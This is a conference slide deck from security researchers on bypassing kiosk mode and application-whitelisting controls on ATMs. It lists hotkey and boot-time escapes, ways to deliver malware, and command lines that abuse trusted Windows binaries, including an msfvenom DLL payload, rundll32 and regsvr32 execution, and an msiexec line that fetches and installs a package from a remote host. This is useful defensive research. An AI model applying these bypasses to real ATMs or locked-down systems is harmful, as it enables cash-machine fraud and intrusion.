SlideShare a Scribd company logo
Заголовок
ptsecurity.com
Launch Impossible
Current State of Application Control Bypasses
on ATMs.
Tim Yunusov
Yar Babin
Заголовокwhoami
Appsec/websec/banksec goons
ATM enthusiasts
ЗаголовокATM security assessment
ЗаголовокATM security assessment
ЗаголовокApplication control bypass
1. Kiosk bypass techniques
2. Delivery
3. Application control software bypass
ЗаголовокKiosk mode bypass
Kiosk mode bypass
Windows XP/7
ЗаголовокKiosk mode bypass
•Safe mode
•Hotkeys
•Windows Plug&Play
•Race condition
•Booting process
ЗаголовокSafe mode
•F8 + Safe mode with command line
•DS restore mode
•AC/DC fun
ЗаголовокHotkeys
•Win+R
ЗаголовокHotkeys
•Win+R
•Alt+Tab
•Alt+F4
•Alt+Shift+ESC
•F1-F12
•Shift x5 (Windows 7 only)
•Win+(etc)
http://www.techrepublic.com/blog/windows-and-office/the-
complete-list-of-windows-logo-keyboard-shortcuts/
ЗаголовокAlwaysOnTop
This ATM is Out Of Service,
Sorry for inconvenience
ЗаголовокAlwaysOnTop
• Disabling mouse icon
• AlwaysOnTop
This ATM is Out Of Service,
Sorry for inconvenience
ЗаголовокP&P
ЗаголовокP&P
ЗаголовокBooting process
•BIOS pwd
•Network load
•Safe mode
•Physical access
•OS access
• Same passwords story
•Bootkit
• Software skimming
ЗаголовокLogical vulns
• Security tools runs from regedit/autorun
• Shift x5
• Win+U
• Ctrl+C
ЗаголовокLogical vulns
ЗаголовокEnd of the story
ЗаголовокDelivery
How to deliver malware
ЗаголовокNetwork
+ Firewall
VPN
TLS
MAC
• OS services
• Software services (Solidcore, UPDD, etc)
• Processing
• Track2
• Processing
• Track2
• Processing
ЗаголовокNetwork vulns
• VPN disabling
• By default
• Logical vulns part
• Firewall rules
• By default
• TLS disabling
• MAC disabling
• Files/registry manipulations
ЗаголовокLogical vulns
• VPN disabling
ЗаголовокNetwork/Hardware layer
•3G industrial modem
• Long story short
http://blog.ptsecurity.com/2015/12/critical-
vulnerabilities-in-3g4g-modems.html
•Security measures
• VPN channel
• Private APN
•Result
• ATM network infection
• Processing access
ЗаголовокNetwork/Hardware layer
•Access to *:80
•Auth bypass
•Physical access
•Proper VPN protocols(((
ЗаголовокPrivilege escalation techniques
•Arbitrary command execute - XFS API X
•Command execute - priv escalation X
•Write files/registry - modify sec configs -
•Read files - *** -
ЗаголовокDevice mgmt
•Network card
• fw bypass
• plug&play
•USB drive
• local access to Exe file content
• plug&play
•MS13-081
•Keyboard/mouse (Teensy)
ЗаголовокOS methods to delivery
•USB Flash
•SMB
•Telnet
•HTTP (bitsadmin/IE)
•FTP (tftp, ftp, ftp в farmanager)
•DNS (TXT)
•HID emulating
ЗаголовокKeyboard
•Hotkeys:
• F1-F12
• L/R CTRL, SHIFT, ALT, WIN, TAB, ESC
ЗаголовокKeyboard
•Hotkeys:
• F1-F12
• L/R CTRL, SHIFT, ALT, WIN, TAB, ESC
• F13-F24
• Media keys (vol up/down, play, etc)
• Functional keys (start calc, IE, explorer)
ЗаголовокKeyboard keys fuzzing
•Teensy
•Digispark
•Arduino leonardo
ЗаголовокKeyboard keys fuzzing (Arduino IDE)
ЗаголовокPlug&Play
•Network devices
•Media devices (webcams, music, etc)
ЗаголовокPlug&Play devices fuzzing?
•Facedancer
ЗаголовокApp control software bypass
Story so far…
• https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html
• https://cansecwest.com/slides/2016/CSW2016_Freingruber_Bypassi
ng_Application_Whitelisting.pdf
ЗаголовокTypical verification methods
•Whitelist of dirs (c:windowssystem32, etc)
•Whitelist of files (c:windowssystem32calc.exe,
ipconfig.exe, etc)
•Hash comparing (usually SHA-256)
•Application sing (MS, Adobe, etc)
•Extensions blacklist
ЗаголовокBypassing methods
•Code execution in trusted apps (cmd, powershell)
•Hash collisions
•Bypassing extensions blacklist
•Another trusted applications (.NET, Java, PHP,
etc)
•Misconfiguration (DLL)
•Exploits
ЗаголовокFuzzing trusted apps
• for /f %%i in (C:commands.txt) do cmd /C %%i /? >> log.txt
> more commands.txt:
ATIEVXX.EXE
ATMADM.EXE
ATTRIB.EXE
….
WUAUCLT.EXE
WUPDMGR.EXE
XCOPY.EXE
ЗаголовокKnown methods
msfvenom -p windows/exec CMD=calc -f dll -o
/tmp/xek.dll
•rundll32 C:xek.dll,@DllMain
•regsvr32 /s /u xek.dll (call DllUnregisterServer)
•DLL hijacking
ЗаголовокFind some new
msfvenom -p windows/exec CMD=calc -f dll -o
/tmp/xek.dll
•rundll32 C:xek.dll,@DllMain
•regsvr32 /s /u xek.dll (call DllUnregisterServer)
•DLL hijacking
•rasautou -d C:xek.dll -p @DllMain12 -e 1
•odbcconf /a {REGSVR "C:xek.dll"}
ЗаголовокTricks from 2000
•debug.exe C:xek.com (run in memory)
•ntsd.exe C:xek.exe
•forcedos.exe C:xek.com
ЗаголовокNTSD backdoor
C:>ntsd calc.exe
0:000> .shell
ЗаголовокIf cmd disabled (packager util)
ЗаголовокFake Sign
• https://specterops.io/assets/resources/SpecterOps_Subverting_Trust
_in_Windows.pdf
ЗаголовокExecutable extensions (its no all)
•bat, cmd
•com, exe, scr
•msp, msi, mst
•dll, cpl, sys
•hta, js, jse, vbe, vbs, vb, wsf, wsh, sct
ЗаголовокExecutable extensions (its no all)
•bat, cmd
•com, exe, scr
•msp, msi, mst
•dll, cpl, sys
•hta, js, jse, vbe, vbs, vb, wsf, wsh, sct
boring
ЗаголовокExecutable ext
A .pif file is used to start a program written for MS-DOS within
Windows, and can also be used to configure a unique environment for
individual MS-DOS-based program that run in MS-DOS mode.
PE without PE headers
C:>copy xek.exe xek.pif
C:>start xek.pif
Hello World!
ЗаголовокExecutable ext?
C:>copy xek.exe xek.supersecrethackerextension
C:>start xek.supersecrethackerextension
ЗаголовокExecutable ext
C:>copy xek.exe xek.supersecrethackerextension
C:>start xek.supersecrethackerextension
Hello World!
• App without GUI
• https://superuser.com/questions/619921/how-to-run-an-executable-
file-without-exe-extension-using-cmd-script
ЗаголовокIDDQD (16bit apps)
•R/W files
•Works with Windows registry
•Calling 32bit functions with FreeLibrary32W
•But it have more constraints 
ЗаголовокIDDQD (powershell)
•DLL Injection
•Reflective PE Injection
•https://github.com/PowerShellMafia/PowerSploit/t
ree/master/CodeExecution
ЗаголовокPowershell >WIN8
•Powershell –exec bypass –nop
ЗаголовокPowershell >WIN8
•Powershell –exec bypass –nop
•Powershell –Version 2 –exec bypass -nop
ЗаголовокAnother trusted apps (.NET)
• MsiExec /i http://xek.ru/test.png /q
• InstallUtil.exe
1. csc.exe /out:exeshell.exe exeshell.cs
2. InstallUtil.exe /logfile= /LogToConsole=false /U
exeshell.exe
• regsvcs.exe xek.dll
• http://www.blackhillsinfosec.com/?p=5257
• Exec in memory
(https://stackoverflow.com/questions/3553875/load-an-
exe-file-and-run-it-from-memory)
ЗаголовокAnother trusted apps (Java)
•System.load("C:/xek.dll");
•Runtime.getRuntime().exec("calc.exe");
•Execution in memory
(https://www.lexsi.com/securityhub/java-native-
code-injection-2)
ЗаголовокSecurity software bypass
ЗаголовокApplication control under attack
• No local exploits
• HTTP updates
• No signatures or bad signatures
• Security race condition
• Hash(loooooooong file)
• python-exploit.exe at the same time
• BOF
https://www.ptsecurity.com/ww-en/about/news/131496/
https://www.ptsecurity.com/ww-en/about/news/240117/
https://www.ptsecurity.com/ww-en/about/news/283971/
ЗаголовокSolutions
ЗаголовокGreetz
• Anon guy ;-)
• Positive Technologies researchers teams:
• ICS/SCADA
• Reverse Engineering
ЗаголовокContacts
https://uk.linkedin.com/in/tyunusov
https://ru.linkedin.com/in/yarbabin
tyunusov@ptsecurity.com
ybabin@ptsecurity.com
@a66at
@yarbabin
Заголовок
Thank You!
ptsecurity.com

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